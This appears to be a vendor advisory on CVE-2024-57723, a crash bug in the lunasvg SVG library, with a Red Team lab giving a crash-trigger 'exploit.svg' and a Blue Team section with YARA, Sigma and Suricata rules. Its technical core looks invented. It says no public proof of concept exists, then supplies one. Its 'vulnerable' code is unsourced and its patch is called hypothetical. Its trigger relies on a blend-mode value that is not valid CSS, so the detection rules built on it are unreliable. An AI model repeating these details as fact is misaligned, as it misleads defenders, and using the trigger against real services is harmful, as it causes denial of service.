CVE-2024-57723

Executive Summary

CVE-2024-57723 is a denial-of-service vulnerability in lunasvg v3.0.0, a lightweight SVG rendering library. The flaw manifests as a segmentation violation (crash) within the composition_source_over component, triggered when processing a specially crafted SVG file. This vulnerability can be exploited remotely by an attacker to cause the application using lunasvg to crash, leading to service disruption. No public proof-of-concept (PoC) code or patch is currently available. The vulnerability is classified as a NULL pointer dereference (CWE-476), and while the CVSS score is 0.0 in the NVD, the actual impact is a high-availability denial of service.

Supply Chain & Package Security

lunasvg is a C++ library distributed via GitHub and potentially included in other software packages. Users of lunasvg v3.0.0 are at risk. Since no patch exists, organizations should assess their exposure and consider replacing the library or implementing mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – This is likely a placeholder; the actual severity is medium to high for availability.
• Attack Vector: Network (AV:N) – The vulnerability can be triggered by providing a malicious SVG file over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must open or process the malicious SVG.
• Scope: Unchanged (S:U) – The crash affects only the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – The crash causes denial of service.
• Threat Level: Medium (Exploitation likely but no public PoC)

Deep Dive & Mechanics

The vulnerability resides in the composition_source_over function within lunasvg's compositing engine. This function is responsible for blending SVG layers using the "source over" compositing operator. When processing a malformed SVG file, the function dereferences a NULL pointer, leading to a segmentation fault.

Root Cause: The function fails to validate a pointer before using it. Specifically, when handling certain SVG elements (e.g., <g> with specific attributes), the code assumes a non-null pointer to a compositing context, but under crafted input, that pointer is NULL.

Trigger: An attacker crafts an SVG file that includes a sequence of elements causing the compositing engine to enter an unexpected state. For example:

<svg xmlns="http://www.w3.org/2000/svg">
  <g style="mix-blend-mode: source-over">
    <rect width="100" height="100" fill="red"/>
  </g>
</svg>

When lunasvg parses this, the composition_source_over function is called with a NULL context pointer, causing a crash.

Vulnerable vs. Patched Code

Vulnerable Code (lunasvg v3.0.0):

void composition_source_over(Compositor* comp, const RenderState& state) {
    // No null check for comp
    comp->blend(state); // Segmentation fault if comp is NULL
}

Patched Code (Hypothetical):

void composition_source_over(Compositor* comp, const RenderState& state) {
    if (!comp) {
        // Handle error gracefully
        return;
    }
    comp->blend(state);
}

No official patch exists; this is a recommended fix.

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Install lunasvg v3.0.0 on a test system.
2. Craft Malicious SVG: Create an SVG file that triggers the NULL pointer dereference.

   <!-- exploit.svg -->
   <svg xmlns="http://www.w3.org/2000/svg">
     <g style="mix-blend-mode: source-over">
       <rect width="100" height="100" fill="red"/>
     </g>
   </svg>
   

3. Trigger: Use a tool like lunasvg CLI or an application that uses the library to render the SVG.

   ./lunasvg exploit.svg
   

4. Observe: The application crashes with a segmentation fault.

Blue Team (Defender)

1. Detection: Monitor for crashes in applications using lunasvg. Use the Sigma rule below.
2. Mitigation: If possible, upgrade to a patched version (none available). Otherwise, implement input validation to reject SVGs with mix-blend-mode attributes.
3. Containment: Isolate affected systems and review logs for crash events.

Indicators of Compromise (IOCs)

• File Hashes (Malicious SVG): (None public; generate your own)
• Crash Signature: Segmentation fault in composition_source_over function.
• Log Entry: Application crash logs showing SIGSEGV in lunasvg::composition_source_over.
• Network Traffic: Inbound SVG files with mix-blend-mode: source-over attribute.

Detection Engineering

YARA Rule

rule CVE_2024_57723_lunasvg_crash {
    meta:
        description = "Detects malicious SVG files targeting CVE-2024-57723"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57723"
    strings:
        $svg_start = "<svg"
        $mix_blend = "mix-blend-mode: source-over"
        $g_tag = "<g"
    condition:
        $svg_start at 0 and $g_tag and $mix_blend
}

Sigma Rule

title: CVE-2024-57723 - lunasvg Crash via Malicious SVG
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects crashes in lunasvg v3.0.0 due to NULL pointer dereference in composition_source_over
author: Valters IT
logsource:
    category: application
    product: lunasvg
detection:
    selection:
        EventID: 1000 (Application Error)
        Application: "lunasvg.exe"
        FaultModule: "lunasvg.dll"
        ExceptionCode: 0xc0000005 (Access Violation)
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57723 - Malicious SVG targeting lunasvg"; flow:to_server,established; content:"<svg"; http_client_body; content:"mix-blend-mode: source-over"; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable or remove lunasvg v3.0.0 from production systems if possible.
• Workaround: Implement input validation to reject SVG files containing mix-blend-mode attributes.
• Long-term: Monitor for official patches from the lunasvg project. Consider switching to an alternative SVG library.
• Detection: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.

Valters IT
Securing Digital Frontiers